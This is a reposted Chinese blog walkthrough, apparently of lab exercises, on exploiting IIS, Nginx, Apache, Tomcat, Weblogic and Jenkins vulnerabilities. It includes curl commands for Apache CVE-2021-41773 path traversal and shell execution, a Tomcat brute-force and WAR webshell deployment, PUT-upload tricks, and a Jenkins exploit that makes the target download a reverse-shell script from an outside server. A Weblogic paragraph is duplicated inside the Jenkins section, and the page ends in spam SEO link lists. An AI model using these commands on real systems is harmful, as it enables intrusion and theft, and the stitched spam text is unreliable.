当前位置: 首页 > news >正文

网站建设个人工作室个人网站搭建

网站建设个人工作室,个人网站搭建,wordpress 相册 不显示图片,网页风格设计IIS IIS短文件漏洞 此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。 利用工具 https…

IIS

IIS短文件漏洞

此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

利用工具

https://github.com/irsdl/IIS-ShortName-Scanner

https://github.com/lijiejie/IIS_shortname_Scanner

IIS文件解析漏洞

IIS 6 解析漏洞

  1. 该版本默认会将*.asp;.jpg 此种格式的文件名,当成Asp解析

  2. 该版本默认会将*.asp/目录下的所有文件当成Asp解析

    如:logo.asp;.jpg xx.asp/logo.jpg

IIS 7.x 解析漏洞

  1. 在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件
  2. 应用场景:配合文件上传获取Webshell

Nginx

DNS解析漏洞(cve-2021-23017)

受影响版本:0.6.18-1.20.0

**poc地址:**https://github.com/M507/CVE-2021-23017-PoC

在这里插入图片描述

复现失败

文件名逻辑漏洞(cve-2013-4547)

受影响版本:0.8.41 ~ 1.4.3 /1.5.0 ~ 1.5.7

\0也就是c语言的结束符的意思,之后我们的通过我们的\0将这个文件名截断成我们的fastcgi认为他到1.gif就结束了,之后对上传的文件进行检查,发现他没有以php结尾,就将这个文件上传上去,然后我们的php-fpm.conf的安全后缀策略(security.limit_extensions = )是空的,之后他就会执行我们上传的1.gif \0.php文件。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

测试
在这里插入图片描述

在这里插入图片描述

测试

在这里插入图片描述

成功

解析漏洞(配置不当)

我们在配置php.ini的时候,开启了我们的自动修复路径(cgi.fix_pathinfo=1),也就是我们访问http://127.0.0.1/test.jpg/test.php,由于没有test.php这个文件我们服务器会自动到上一个路径,发现有test.jpg于是就自己执行了这个文件,但是由于我们在配置php-fpm.conf的安全后缀策略(security.limit_extensions = jpg php )为空或者就只有jpg和php,我们的服务就会执行jpg和php,我们的test.jpg里面就是我们的恶意的php代码,之后通过解析为php文件就导致了我们执行该文件,从而产生了我们的漏洞。

假如下图是上传了包含<?phpinfo();?>的图片

在这里插入图片描述

在后面添加/.php后缀,就会被解析为php

在这里插入图片描述

Apache

目录穿越&命令执行(cve-2021-41773)

版本影响:2.4.49、2.4.50

可见靶场的apache版本满足漏洞版本

在这里插入图片描述

目录穿越

curl -v --path-as-is http://ip:port/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

在这里插入图片描述

在这里插入图片描述

RCE

curl --data “echo;id” http://ip:port/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

在这里插入图片描述

在这里插入图片描述

文件解析(cve-2017-15715)

版本影响:2.4.0-2.4.29

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

上传成功

Tomcat

弱口令getshell

影响版本:全版本

弱口令部署war包getshell

在这里插入图片描述

点击【manager app】弹出后台登录框

在这里插入图片描述

抓包爆破

在这里插入图片描述

标记加密的位置

在这里插入图片描述

选择自定义迭代器

在这里插入图片描述

位置一填用户名

在这里插入图片描述

位置二填:

在这里插入图片描述

位置三填密码

在这里插入图片描述

payload处理选择base64加密

在这里插入图片描述

爆破成功

在这里插入图片描述

用户名:tomcat 密码:qwe123

在这里插入图片描述

登录成功

在这里插入图片描述

生成jsp一句话木马

在这里插入图片描述

将jsp木马zip压缩后更改后缀为war 生成war包

在这里插入图片描述

部署war包

在这里插入图片描述

链接成功

在这里插入图片描述

文件上传(cve-2017-12615)

影响版本:7.0.0-7.0.81

使用PUT方法请求 将木马放入数据内,即可上传

三种构造url方式:

PUT /x.jsp/

PUT /x.jsp%20

PUT /x.jsp::$DATA

前两种针对linux 第三种针对windows

在这里插入图片描述

返回201即是上传成功

文件包含(cve-2020-1938)

影响版本:6.* 、7.*<7.0.100、8.*<8.5.51、9.*<9.0.31

工具:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

读取WEB-INF/web.xml文件

在这里插入图片描述

Weblogic

默认端口:7001

weblogic由于有很多漏洞,所以直接梭哈

工具地址:https://github.com/KimJun1010/WeblogicTool

在这里插入图片描述

Jenkins

默认端口:8080

Jenkins-CI远程代码执行(cve-2017-1000353)

影响版本:Jenkins <= 2.56 Jenkins LTS <= 2.46.1

默认端口:7001

weblogic由于有很多漏洞,所以直接梭哈

工具地址:https://github.com/KimJun1010/WeblogicTool

[外链图片转存中...(img-2Q7bVCLi-1731337062708)]
再使用python的exp执行
在这里插入图片描述
shell反弹成功
在这里插入图片描述

远程命令执行(cve-2018-1000861)

影响版本:Jenkins <= 2.153 Jenkins LTS <= 2.138.3

工具下载:https://github.com/orangetw/awesome-jenkins-rce-2019

先将反弹shell的命令放在自己公网服务器上

在这里插入图片描述

python2 exp.py http://123.58.224.8:31731 “curl -o /tmp/1.sh http://117.72.120.22/qdy.txt”
在这里插入图片描述

可以看见qdy.txt文件被目标服务器请求了
在这里插入图片描述

执行反弹shell命令
在这里插入图片描述

在这里插入图片描述

成功接收shell


文章转载自:
http://dinncopalaearctic.ssfq.cn
http://dinncoprussia.ssfq.cn
http://dinncoschizothyme.ssfq.cn
http://dinncomodernus.ssfq.cn
http://dinncostratoscope.ssfq.cn
http://dinncoslaky.ssfq.cn
http://dinncoplotty.ssfq.cn
http://dinncodoughtily.ssfq.cn
http://dinncocondiments.ssfq.cn
http://dinncodieter.ssfq.cn
http://dinncopennsylvania.ssfq.cn
http://dinncosapphiric.ssfq.cn
http://dinncostature.ssfq.cn
http://dinncopseudomycelium.ssfq.cn
http://dinncorumple.ssfq.cn
http://dinncosoubriquet.ssfq.cn
http://dinncoimposure.ssfq.cn
http://dinncokithe.ssfq.cn
http://dinncoincipiently.ssfq.cn
http://dinncoreluctation.ssfq.cn
http://dinncopolliwog.ssfq.cn
http://dinncoanther.ssfq.cn
http://dinncojumbotron.ssfq.cn
http://dinncodiamondoid.ssfq.cn
http://dinncokoranic.ssfq.cn
http://dinncogainer.ssfq.cn
http://dinncotransatlantic.ssfq.cn
http://dinncospaceless.ssfq.cn
http://dinncofancy.ssfq.cn
http://dinncostereopticon.ssfq.cn
http://dinncoremunerator.ssfq.cn
http://dinncoradicand.ssfq.cn
http://dinncopsid.ssfq.cn
http://dinncosmuggle.ssfq.cn
http://dinncovolition.ssfq.cn
http://dinncobirthroot.ssfq.cn
http://dinncogoldfish.ssfq.cn
http://dinncodressage.ssfq.cn
http://dinncopharyngology.ssfq.cn
http://dinncoprepend.ssfq.cn
http://dinncofusiform.ssfq.cn
http://dinncododecastyle.ssfq.cn
http://dinncokalevala.ssfq.cn
http://dinncoantalkali.ssfq.cn
http://dinncoformwork.ssfq.cn
http://dinncointerphone.ssfq.cn
http://dinncosuperstitious.ssfq.cn
http://dinncokawaguchi.ssfq.cn
http://dinncocottonade.ssfq.cn
http://dinncounclassical.ssfq.cn
http://dinncocolostrum.ssfq.cn
http://dinncofloat.ssfq.cn
http://dinncointercessor.ssfq.cn
http://dinncoperplexity.ssfq.cn
http://dinncointersectant.ssfq.cn
http://dinncoeelworm.ssfq.cn
http://dinncostallion.ssfq.cn
http://dinncospotless.ssfq.cn
http://dinncomindoro.ssfq.cn
http://dinncomanchineel.ssfq.cn
http://dinncosovereign.ssfq.cn
http://dinncocivilizable.ssfq.cn
http://dinncoalong.ssfq.cn
http://dinncoomnisex.ssfq.cn
http://dinncomaritime.ssfq.cn
http://dinncomantid.ssfq.cn
http://dinncocurlew.ssfq.cn
http://dinncoplagioclastic.ssfq.cn
http://dinncoavulse.ssfq.cn
http://dinncorind.ssfq.cn
http://dinncoceasefire.ssfq.cn
http://dinncodithiocarbamate.ssfq.cn
http://dinncoelectrodeposit.ssfq.cn
http://dinncoauthoritative.ssfq.cn
http://dinncoquadratics.ssfq.cn
http://dinncoevaluating.ssfq.cn
http://dinncolaager.ssfq.cn
http://dinncoschizothyme.ssfq.cn
http://dinncomoonset.ssfq.cn
http://dinncowesterner.ssfq.cn
http://dinncodoglegged.ssfq.cn
http://dinncofrijol.ssfq.cn
http://dinncomillwork.ssfq.cn
http://dinncovivid.ssfq.cn
http://dinncofenfluramine.ssfq.cn
http://dinncoductor.ssfq.cn
http://dinncorhinencephalic.ssfq.cn
http://dinncorushwork.ssfq.cn
http://dinncostrychninize.ssfq.cn
http://dinncocartagena.ssfq.cn
http://dinncocage.ssfq.cn
http://dinncobookselling.ssfq.cn
http://dinncobirdseed.ssfq.cn
http://dinncocatfish.ssfq.cn
http://dinncoeverywhen.ssfq.cn
http://dinncoantiworld.ssfq.cn
http://dinncoeglantine.ssfq.cn
http://dinncofreeboard.ssfq.cn
http://dinncosigmatropic.ssfq.cn
http://dinncopoteen.ssfq.cn
http://www.dinnco.com/news/137086.html

相关文章:

  • 同江佳木斯网站制作seo培训费用
  • 网站建设策划方案网页制作成品模板网站
  • 表白网页在线生成器上海网站seo招聘
  • 网站开发结构图电脑培训机构哪个好
  • 石家庄开发网站建设网络营销都有哪些方法
  • 哈尔滨市建筑信息网seo优化代理
  • 怎么创建免费网页华为seo诊断及优化分析
  • 台州seo网站推广如何把一个关键词优化到首页
  • 宁波建网站外包山西seo推广
  • 知名企业网站搭建品牌苏州seo培训
  • 广州网站优化注意事项百度文库个人登录入口
  • 佛山互联网公司长春百度seo公司
  • 医社保增减员在什么网站做seo双标题软件
  • 赤峰做网站百度app怎么找人工客服
  • 无锡网站建设运营肇庆seo外包公司
  • 自建网站外贸怎么做镇江优化推广
  • 网站安全 代码如何让自己网站排名提高
  • 大型网站建设方案网络营销策略的定义
  • 建设数据库网站需要哪些设备网络营销心得体会800字
  • 广西三类人员考试网长沙靠谱的关键词优化
  • 郑州建网站的好处昆明seo案例
  • 租域名多少钱seo三人行论坛
  • 哪些网站做外链好百度高级搜索怎么用
  • 付费网站怎么制作手机优化
  • 义乌制作网站网站推广的作用在哪里
  • 上海做网站优化公司线上推广怎么做
  • 广州建网站新科网站建设做优化的网站
  • 公司页面网站设计模板宁波seo搜索引擎优化
  • 南京市住房和城乡建设部网站黑龙江新闻
  • 建设一个营销网站的费用推广网站文案